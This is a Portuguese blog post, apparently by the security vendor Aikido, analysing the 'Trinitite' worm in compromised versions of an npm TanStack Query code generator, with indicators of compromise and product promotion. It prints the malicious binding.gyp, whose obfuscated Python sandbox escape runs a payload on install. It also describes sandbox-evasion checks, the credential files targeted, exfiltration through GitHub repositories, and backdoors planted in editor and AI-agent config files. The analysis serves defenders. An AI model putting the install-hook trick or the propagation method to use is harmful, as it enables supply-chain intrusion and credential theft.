Aikido

Gerador de código popular para TanStack Query infetado por worm na cadeia de abastecimento

Escrito por
Ilyas Makari

Passou apenas um dia desde que soubemos da notícia de que membros do TeamPCP foram detidos na Austrália, e detetámos agora um novo malware semelhante ao TeamPCP a afetar 10 versões de um pacote npm popular chamado @7nohe/openapi-react-query-codegen (+150 000 descargas semanais). Estas versões foram todas publicadas no npm num espaço de 20 minutos. O pacote em questão gera hooks do TanStack Query com segurança de tipos diretamente a partir de um esquema OpenAPI, evitando que os programadores escrevam código boilerplate manualmente.

O malware autodenomina-se "Trinitite: Sponsored by Preview 2 Effects". A trinitite é o material vítreo deixado no chão do deserto após uma detonação nuclear. Versões anteriores do payload faziam referência a um script literalmente chamado is_it_this_simple.js, o que resume bem a atitude.

Se estamos perante um imitador, um ex-membro que conseguiu escapar às detenções ou um agente de ameaças totalmente separado, continua a ser incerto. Quem quer que esteja por trás deste ataque partilha claramente o gosto pela teatralidade com o TeamPCP.

Tanto o pacote npm como o respetivo repositório no GitHub parecem ter sido comprometidos. O atacante obteve acesso ao explorar uma vulnerabilidade num dos workflows do GitHub Actions do projeto. Consequentemente, todas as versões incluem atestações de proveniência válidas. Trata-se de certificados criptográficos que comprovam que o pacote foi compilado pelo workflow oficial do GitHub Actions. No entanto, quando o próprio workflow é comprometido, esse certificado deixa de ser um sinal de confiança fiável.

O container escape no binding.gyp

O hook de execução inicial é binding.gyp, um ficheiro normalmente utilizado para configurar a compilação de módulos nativos do Node.js. Fiquei algo surpreendido por ver este truque em particular a ser utilizado aqui, tendo em conta que reportei sobre esta classe de vulnerabilidade no início deste ano. A técnica parece estar a ganhar força.

Quando npm install processa um pacote que contém um binding.gyp, invoca node-gyp para compilar o módulo nativo. node-gyp avalia o condições campo no ficheiro utilizando Python, o que significa que podem ser colocadas expressões Python arbitrárias que serão executadas durante a instalação, mesmo sem qualquer preinstall script declarado em package.json.

O binding.gyp neste pacote tem o seguinte aspecto:

{
  "variables": {
    "var": "Frot",
  },
  "conditions":[
     ["[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == u'\\U00000063\\U00000061\\U00000074\\U00000063\\U00000068\\U0000005f\\U00000077\\U00000061\\U00000072\\U0000006e\\U00000069\\U0000006e\\U00000067\\U00000073'][0]()._module.__builtins__[u'\\U0000005f\\U0000005f\\U00000069\\U0000006d\\U00000070\\U0000006f\\U00000072\\U00000074\\U0000005f\\U0000005f'](u'\\U0000006f\\U00000073').system(u'\\U0000006E\\U0000006F\\U00000064\\U00000065\\U00000020\\U00000033\\U00000046\\U00000057\\U00000043\\U00000076\\U0000007A\\U00000064\\U00000075\\U00000059\\U0000005A\\U00000067\\U0000002E\\U0000006A\\U00000073') == 0x00", {}],
  ],
  "targets": [
    {
      "target_name": "<(var)",
      "type":"\x6e\x6f\x6e\x65",
      "sources": ["dog.c"],
    }
  ]
}

A expressão de condição é um Escape da sandbox de Python utilizando a catch_warnings classe, acedida através da navegação na hierarquia de classes a partir de (). Uma vez descodificados, os caracteres de escape Unicode e hexadecimais resultam no seguinte:

[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('node 3FWCvzduYZg.js')

Encontra a catch_warnings classe através da árvore de subclasses interna do Python, utiliza-a para aceder a __builtins__, importa os, e chama os.system() para executar a carga útil principal com o Node. O type campo está codificado em hexadecimal nenhum pelo que não é tentada nenhuma compilação nativa real, e o nome do alvo Frot não tem significado. Todo o ficheiro existe unicamente para executar um comando shell.

Vale a pena notar que nem todas as versões comprometidas utilizam este truque. As duas versões de pré-lançamento utilizam um script preinstall simples em alternativa. 0.0.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab executa node nu.js diretamente. 0.0.0-365d4eb738d3146583431948d3ba6e27a32556be faz o download do Bun através de wget enviado por pipe para bash e depois executa is_it_this_simple.js.

Dito isto, as versões comprometidas subsequentes duplicaram a aposta e adicionaram ambos os vetores em simultâneo, associando o binding.gyp truque a um "preinstall": "node 3FWCvzduYZg.js" script explícito para maior segurança.

Ofuscação e evasão de sandbox

3FWCvzduYZg.js é um ficheiro de linha única de 5.4 MB localizado na raiz do pacote. O ficheiro utiliza quatro camadas de encriptação. A camada mais externa consiste num array de inteiros com 1.6 milhões de elementos, sujeito a uma operação XOR com a chave 29. Isto desencadeia um script que transfere o runtime do Bun de forma silenciosa (como trinnyyyy-XXXXX no diretório temporário do sistema) e utiliza-o para executar o payload real, que se encontra encriptado com AES-128-GCM no seu interior. O payload interno contém mais 800 KB de JavaScript ofuscado, utilizando uma cifra personalizada baseada numa tabela baralhada aplicada sobre transformações padrão do obfuscator.io. Totalmente decifrado e desofuscado, inclui um recolhedor de credenciais, um worm e um comando destrutivo.

Antes de realizar qualquer ação, o payload verifica várias condições e termina de forma silenciosa se alguma delas se verificar:

  • A localização do sistema é russa (verifica Intl.DateTimeFormat, LC_ALL, LC_MESSAGES, LANGUAGE, LANG)
  • Estão presentes diretórios do CrowdStrike, SentinelOne ou CarbonBlack
  • O diretório de trabalho começa com /tmp/npm-safe/ ou /opt/hscan-supplychain-dynamic/
  • As variáveis de ambiente contêm prefixos de credenciais falsas conhecidos utilizados por scanners de segurança (AKIAFAKE, npm_F4k3NPMToken, sk-ant-api03-fake, ghp_decoyGitHubToken)
  • O GITHUB_REPOSITORY_OWNER é uma das várias contas de investigação de segurança conhecidas (actions-security-demo, h0x0er, varunsh-coder, rohan-stepsecurity)
  • A ferramenta harden-runner do StepSecurity está ativa

O que ele rouba

A carga útil (payload) visa uma vasta gama de credenciais, em plataformas Cloud, ferramentas de desenvolvimento e ficheiros locais.

tokens do GitHub

Procura PATs clássicos (gh[op]_...) e tokens de grão fino (github_pat_...) em variáveis de ambiente e ficheiros locais. Nos runners do GitHub Actions, também solicita um token OIDC através de ACTIONS_ID_TOKEN_REQUEST_TOKEN e ACTIONS_ID_TOKEN_REQUEST_URL.

tokens npm, PyPI e RubyGems

Lê ~/.npmrc e procura ficheiros .npmrc adicionais. Extrai bearer tokens e valida-os contra registry.npmjs[.]org/-/whoami. Visa tokens PyPI (pypi-AgEIcHlwaS5vcmcCJ...) e tokens RubyGems (rubygems_...) pelo mesmo método.

Credenciais AWS

  • AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN, e dez variáveis de ambiente relacionadas
  • ~/.aws/credentials e ~\/.aws\/config
  • Serviço de Metadados da Instância EC2 em 169[.]254[.]169[.]254, tentando primeiro o IMDSv2
  • ponto de extremidade de metadados do Container ECS em 169[.]254[.]170[.]2
  • Faz chamadas a sts:GetCallerIdentity para verificar as credenciais antes de as exfiltrar

Credenciais do Azure

  • AZURE_CLIENT_ID, AZURE_CLIENT_SECRET, AZURE_TENANT_ID, e ficheiro de token federado
  • Endpoint de identidade gerida do Azure IMDS
  • Acede ao Azure Key Vault, Azure Resource Manager e Microsoft Graph API após autenticação

Credenciais do GCP

  • GOOGLE_APPLICATION_CREDENTIALS ficheiro JSON da conta de serviço
  • Servidor de metadados do GCP em metadata[.]google[.]internal
  • Google Secret Manager assim que um token for obtido

HashiCorp Vault

  • VAULT_TOKEN_FILE, VAULT_TOKEN_PATH, VAULT_ADDR, VAULT_API_TOKEN
  • Enumera os Secrets através de /api/v1/system/me, /secrets, /api/v1/namespaces

Kubernetes

  • Token de conta de serviço em /var/run/secrets/kubernetes.io/serviceaccount/token
  • KUBECONFIG e ~/.kube/config
  • /etc/rancher/k3s/k3s.yaml

Verificação do sistema de ficheiros (mais de 150 padrões glob)

  • Todas as chaves privadas SSH: ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.ssh/id_ecdsa, ~/.ssh/id_dsa, ~/.ssh/id*
  • ~/.docker/config.json, /root/.docker/config.json
  • .env, .env.local, .env.production
  • ~/.git-credentials, ~/.gitconfig, ~/.config/git/credentials
  • ~/.npmrc, ~/.pypirc, ~/.cargo/credentials.toml, ~/.terraform.d/credentials.tfrc.json
  • ~/.bash_history, ~/.zsh_history, ~/.node_repl_history
  • Carteiras de criptomoedas: ~/.ethereum/keystore/*, ~/.monero/*, Ledger Live, Exodus
  • Dados de sessões de mensagens: Signal, Telegram Desktop, Discord, Slack, Element
  • Configurações de VPN: NordVPN, OpenVPN, ProtonVPN, CyberGhost, Windscribe, PIA
  • Claude AI: ~/.claude.json, ~/.claude/*, ~/.claude/projects/*, ~/.claude/mcp.json
  • Domínios e tokens do JFrog Artifactory

Exfiltração

Assim que as credenciais são recolhidas, o payload necessita de um repositório do GitHub para onde as carregar. Tal como em ataques anteriores do tipo Miasma, começa por pesquisar no histórico de commits públicos do GitHub por commits cuja mensagem corresponda a "IfYouRevokeThisTokenYourABadUser:{encrypted_token}". Desencripta o token incorporado e utiliza essa conta para criar o repositório de exfiltração. Isto significa que os dados roubados de uma vítima acabam num repositório pertencente a um utilizador diferente.

O nome do repositório é gerado combinando dois nomes de personagens de Touhou Project escolhidos aleatoriamente com um número aleatório, por exemplo cirno-marisa-74291 ou reimu-kogasa-12048. A descrição do repositório é definida como "Trinitite: Sponsored by Preview 2 Effects", que é a forma como pode identificar repositórios de exfiltração na natureza:

As credenciais roubadas são submetidas (committed) como ficheiros JSON encriptados chamados doubletrinnys-{counter}-{timestamp}.json dentro de um diretório resultados/ . Cada ficheiro contém dois campos: envelope, o pacote de credenciais encriptado, e chave, a própria chave de encriptação encriptada com a chave pública RSA do atacante. Apenas o atacante, na posse da chave privada correspondente, consegue desencriptar o conteúdo. Os dados ficam visíveis em repositórios públicos do GitHub, mas são ilegíveis para qualquer outra pessoa. Curiosamente, a maioria das mensagens de commit diz apenas "meow meow meow".

Propagação de worm

O Trinitite utiliza tokens roubados para se propagar a outros pacotes e repositórios.

npm, PyPI e RubyGems

Com um token do npm roubado, o payload chama registry.npmjs[.]org/-/npm/v1/tokens para encontrar o token de publicação com o nível de privilégio mais elevado, e em seguida consulta /v1/search?text=maintainer:{user} para enumerar todos os pacotes que esse mantenedor possui. Obtém o tarball atual para cada pacote, injeta um novo binding.gyp contendo o mesmo Escape de sandbox em Python, adiciona uma cópia de 3FWCvzduYZg.js, e publica uma nova versão. O mesmo padrão aplica-se ao PyPI (através de upload.pypi[.]org/legacy/) e ao RubyGems (através de rubygems[.]org/api/v1/gems). Todos os pedidos de publicação utilizam {tls: {rejectUnauthorized: false}} para contornar a validação de certificados (certificate pinning).

contaminação de repositórios do GitHub

Com um token do GitHub roubado, a carga útil enumera todos os repositórios e branches acessíveis, ignorando os branches com o prefixo release/, dependabot/, renovate/, e copilot/. Para cada branch, submete os seguintes ficheiros:

  • .vscode/tasks.json com uma configuração de gestor de tarefas comprometida (backdoor)
  • .claude/settings.json com um SessionStart hook que é executado setup.mjs sempre que um programador abre o projeto no Claude Code
  • .claude/setup.mjs contendo a carga útil secundária
  • .vscode/setup.mjs contendo o mesmo
  • .github/workflows/codeql.yml, um fluxo de trabalho de segurança CodeQL falso que também funciona como uma porta dos fundos (backdoor)
  • .gemini/settings.json, .cursor/rules/debug.mdc, .codex/config.toml, .opencode/plugins/setup.js

Cada commit tem como autor github-actions com a mensagem "chore: update dependencies" e um skip-checks:true trailer para contornar as verificações de estado obrigatórias.

Como a Aikido detecta isso

Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.

Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.

Para uma cobertura mais ampla em toda a sua equipe, o Device Protection da Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins IDE e dependências de build, tudo em um só lugar. Pare o malware antes que ele seja instalado.

Para proteção futura, considere Aikido Safe Chain (open source). O Safe Chain se integra ao seu fluxo de trabalho existente, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando pacotes contra Aikido Intel antes da instalação.

Indicadores de comprometimento (IOCs)

‍Versões do pacote

  • @7nohe/openapi-react-query-codegen@0.5.4
  • @7nohe/openapi-react-query-codegen@0.5.5
  • @7nohe/openapi-react-query-codegen@1.6.3
  • @7nohe/openapi-react-query-codegen@1.6.4
  • @7nohe/openapi-react-query-codegen@2.2.1
  • @7nohe/openapi-react-query-codegen@2.2.2
  • @7nohe/openapi-react-query-codegen@3.0.3
  • @7nohe/openapi-react-query-codegen@3.0.4
  • @7nohe/openapi-react-query-codegen@0.0.0-365d4eb738d3146583431948d3ba6e27a32556be
  • @7nohe/openapi-react-query-codegen@0.0.0-ec7876d6c917dad516ba69bbfafc948b834bf0ab

Arquivos

  • 3FWCvzduYZg.js presente na raiz do pacote
    • SHA256: 8e5d1af68ca340ae0c6e8132cb00c686ec2d60502c1994d94ce353d1472ad5a3
    • SHA256: b49afb7dba04cd99b357ce7c652c823a3707f28e130bd5c6645851a7adc030d6
    • SHA256: 59370c67b54a0ccaedd265e2356f04540b2fba1e1845300ef6de4d5437d99380
    • SHA256: 778d6f0058045d6a2ab9a7e1d3e3be8e7e6b4d9cc217d13949bf1dfbab759a7c
    • SHA256: b24d121667f21f492cb9db34fbfd515d5922a8dd30b9c45215c7220abbb10ca8
    • SHA256: e1f1162ece9a6e6ea21a20399cbf31c563a8149d433a68711f4223870c203d5a
    • SHA256: b6012b2ff87f08f93ee53921c48db907ddbcf5461b03bb988083b01a36886237
    • SHA256: 709af2fdeb50324229e94c44c679a0fab18bd8e17d3864405989c526cbb63ad8
  • Diretórios temporários com o nome trinnyyyy- seguidos por 6 caracteres alfanuméricos aleatórios (por exemplo, trinnyyyy-a3f9k2) na pasta temporária do sistema
Compartilhar:

https://www.aikido.dev/blog/popular-code-generator-for-tanstack-query-hit-by-supply-chain-worm

Verificar por malware

Comece Gratuitamente
4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes

Torne-se seguro hoje,
de forma rápida e gratuita.

Proteja o seu código, a cloud e o runtime num sistema central.
Conecte um repositório para descobrir o que os agentes de raciocínio encontram na sua base de código.

Não é necessário cartão de crédito | Resultados do teste em 32 segundos.
Confiado por mais de 150 mil orgs